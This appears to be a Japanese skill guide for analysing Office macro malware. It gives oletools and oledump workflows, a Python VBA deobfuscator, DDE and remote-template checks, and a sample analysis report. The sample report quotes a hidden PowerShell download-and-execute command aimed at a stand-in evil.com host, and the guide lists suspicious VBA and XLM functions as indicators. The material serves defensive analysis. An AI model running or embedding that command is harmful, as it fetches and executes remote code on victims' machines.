Office文書内マクロマルウェア解析 は何をしますか?
使用するタイミング
- メールセキュリティで不審なOffice文書(.doc、.docm、.xls、.xlsm、.ppt)がフラグされた場合
- 悪意のあるOffice文書を配信するフィッシングキャンペーンを調査している場合
- VBAマクロコードを抽出してペイロードのダウンロードURLと実行方法を特定する場合
- 難読化されたVBAコードを解析して完全な攻撃チェーンを理解する場合
- 文書がマクロの代わりにDDE、ActiveX、リモートテンプレートインジェクションを使用しているかどうかを判断する場合
使用しない場合: マクロ以外のOffice脅威(DDE、リモートテンプレートインジェクション)の解析には使用しないでください。このスキルはこれらの検出をカバーしていますが、専門的な解析が必要になる場合があります。
前提条件
- Python 3.8+ および oletools のインストール(
pip install oletools) - Didier Stevens の oledump.py(https://blog.didierstevens.com/programs/oledump-py/)
- Microsoft Office がインストールされていない隔離解析VM(誤実行を防止)
- Excel 4.0 マクロ解析用の XLMDeobfuscator(
pip install xlmdeobfuscator) - 安全な文書レンダリング用の LibreOffice(デフォルトではVBAマクロを実行しない)
ワークフロー
ステップ1: 文書の初期トリアージ
文書にマクロまたはその他のアクティブコンテンツが含まれているかどうかを判断します:
# olevba による初期トリアージ
olevba suspect.docm
# OLE ストリームとマクロの確認
oleid suspect.docm
# 出力される指標:
# VBA Macros: True/False
# XLM Macros: True/False
# External Relationships: True/False (リモートテンプレート)
# ObjectPool: True/False (埋め込みオブジェクト)
# Flash: True/False (SWFオブジェクト)
# 包括的なOLE解析
oledump.py suspect.docm
# マクロ指標付きの全OLEストリームを一覧表示
# 'M' とマークされたストリームはVBAマクロを含む
# 'm' とマークされたストリームはマクロ属性を含む
ステップ2: VBAコードの抽出と解析
完全なVBAマクロソースを抽出します:
# 完全な難読化解除を伴うVBA抽出
olevba --decode --deobf suspect.docm
# VBAソースコードのみ抽出
olevba --code suspect.docm > extracted_vba.txt
# oledump を使用した詳細抽出
oledump.py -s 8 -v suspect.docm # ストリーム8(ストリーム一覧に基づいて調整)
# すべてのマクロストリームを抽出
oledump.py -p plugin_vba_dco suspect.docm
特定すべき主要なVBA要素:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
自動実行トリガー:
- Auto_Open / AutoOpen (Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open (Excel)
- AutoExec
不審な関数:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell 実行
- URLDownloadToFile
- MSXML2.XMLHTTP (HTTPリクエスト)
- ADODB.Stream (ファイル書き込み)
- Environ() (環境変数)
- CallByName (間接メソッド呼び出し)
ステップ3: VBAコードの難読化解除
難読化レイヤーを除去してペイロードを明らかにします:
# VBA 難読化解除手法
import re
def deobfuscate_vba(code):
# 1. Chr() 呼び出しの解決: Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. 文字列連結の削除: "htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. ChrW 呼び出しの解決: ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. StrReverse の解決: StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. Mid$/Left$/Right$ 難読化の削除(複雑なため手動レビュー用にマーク)
# 6. Replace の解決: Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
with open("extracted_vba.txt") as f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)
ステップ4: Excel 4.0(XLM)マクロの解析
VBA検出を回避するレガシーExcelマクロを処理します:
# XLM マクロの検出
olevba --xlm suspect.xlsm
# XLM マクロの難読化解除
xlmdeobfuscator -f suspect.xlsm
# oledump を使用した手動XLM解析
oledump.py suspect.xlsm -p plugin_biff.py
# 監視すべき XLM(Excel 4.0)マクロ関数:
# EXEC() - シェルコマンドの実行
# CALL() - DLL関数の呼び出し
# REGISTER() - DLL関数の登録
# URLDownloadToFileA - ファイルのダウンロード
# ALERT() - メッセージの表示(ソーシャルエンジニアリング)
# HALT() - 実行の停止
# GOTO() - 制御フロー
# IF() - 条件付き実行
ステップ5: マクロ以外の攻撃ベクトルの確認
DDE、リモートテンプレート、埋め込みオブジェクトについて文書を検査します:
# DDE(Dynamic Data Exchange)の確認
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE フィールドコード
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] DDE found in {name}')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' Command: {m}')
# リモートテンプレート
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] Remote template URL: {url}')
"
# 埋め込みOLEオブジェクトの確認
oledump.py -p plugin_msg.py suspect.docm
# 外部参照の関係確認
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'External reference in {name}:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"
ステップ6: 解析レポートの生成
完全なマクロマルウェア解析を文書化します:
レポートには以下を含めます:
- 文書メタデータ(作成者、作成日、更新日)
- マクロの有無とタイプ(VBA、XLM、DDE、リモートテンプレート)
- 特定された自動実行トリガー
- 難読化解除されたVBAソースコード(主要関数)
- 第2段階ペイロードのダウンロードURL
- 実行方法(Shell、WScript、PowerShell、COMオブジェクト)
- ソーシャルエンジニアリングのおとり説明
- 抽出されたIOC(URL、ドメイン、IP、ファイルハッシュ)
- 特定の文書パターンに対するYARAルール
主要な概念
| 用語 | 定義 |
|---|---|
| VBAマクロ | Office文書に埋め込まれたVisual Basic for Applicationsコード。OSと対話し、ファイルをダウンロードし、コマンドを実行できる |
| Auto_Open | Word文書が開かれたときに自動的に実行されるVBAイベントプロシージャ。マクロマルウェアの主要なトリガー |
| OLE(Object Linking and Embedding) | Microsoft複合文書形式。Office文書はOLEコンテナであり、マクロやオブジェクトを含むストリームを持つ |
| DDE(Dynamic Data Exchange) | マクロなしで文書内でコマンドを実行するために悪用されるレガシーWindows IPCメカニズム。フィールドコード更新によってトリガーされる |
| リモートテンプレートインジェクション | 文書が開かれたときにリモートURLからマクロ対応テンプレートをロードする攻撃。初期のマクロ検出をバイパスする |
| XLMマクロ(Excel 4.0) | VBAに先行するレガシーExcelマクロ言語。隠しシートに保存され、従来のVBA解析ツールでは見落とされがち |
| Protected View | ユーザーが「コンテンツの有効化」をクリックするまでマクロの実行を防ぐOfficeサンドボックス。ソーシャルエンジニアリングはこの障壁を標的にする |
ツールとシステム
- oletools (olevba):OLEファイルを解析し、VBAマクロを抽出し、不審なキーワードやIOCを検出するためのPythonツールキット
- oledump.py:Didier Stevensのツール。VBAの圧縮解除と抽出のためのプラグインをサポートし、OLEストリームを解析する
- XLMDeobfuscator:Excel 4.0(XLM)マクロ式の難読化解除専用に設計されたツール
- ViperMonkey:サンドボックス環境でVBAマクロを実行し、動作を観察するVBAエミュレーションエンジン
- YARA:VBA文字列パターンとOLE構造指標を使用した文書ベースのマルウェア検出のためのパターンマッチング
一般的なシナリオ
シナリオ: 難読化されたVBAマクロを含むフィッシング文書の解析
コンテキスト: 複数の従業員が、請求書と称する.docmファイルが添付されたメールを受信しました。この文書では、完全な文書を表示するために「コンテンツの有効化」をクリックするようユーザーに促します。
アプローチ:
- oleidを実行してVBAマクロの存在を確認し、自動実行トリガーを特定する
- olevba --decode --deobf でVBAコードを抽出し、初期難読化解除を行う
- 自動実行エントリポイント(Auto_Open または Document_Open)を特定する
- エントリポイントからヘルパー関数を通る実行フローを追跡する
- 文字列連結とChr()エンコーディングを難読化解除してダウンロードURLを明らかにする
- ダウンロード方法(WScript.Shell、MSXML2.XMLHTTP、PowerShell)を特定する
- すべてのIOCを抽出し、特定の難読化パターンに対するYARAルールを作成する
落とし穴:
- 「迅速な解析」のためにMicrosoft Officeで文書を開く(代わりにコマンドラインツールを使用するべき)
- UserFormsに保存されたVBAコードを見逃す(GUI要素にはイベントハンドラにコードが含まれる可能性がある)
- 攻撃者の指紋(作成者名、テンプレート名)を含む可能性がある文書メタデータを無視する
- 同じ文書内でVBAマクロとXLMマクロの両方をチェックしない(一部のマルウェアは両方を使用する)
出力形式
OFFICE MACRO MALWARE ANALYSIS
================================
Document: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Type: Microsoft Word Document (OOXML with macros)
Author: Administrator
Creation Date: 2025-09-10 14:23:00
MACRO ANALYSIS
Type: VBA Macro
Trigger: AutoOpen()
Streams: 3 VBA streams (ThisDocument, Module1, Module2)
DEOBFUSCATED EXECUTION CHAIN
1. AutoOpen() -> Calls Module1.RunPayload()
2. RunPayload() builds command string via Chr() concatenation
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
SOCIAL ENGINEERING LURE
- Document displays fake "Protected Document" image
- Instructs user to "Enable Content" to view the document
- Content is blurred/hidden until macros execute
EXTRACTED IOCs
Download URL: hxxp://evil[.]com/payload.ps1
C2 Domain: evil[.]com
IP Address: 185.220.101[.]42
User-Agent: PowerShell (default WebClient)
MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment
T1204.002 User Execution: Malicious File
T1059.001 Command and Scripting Interpreter: PowerShell
T1059.005 Command and Scripting Interpreter: Visual Basic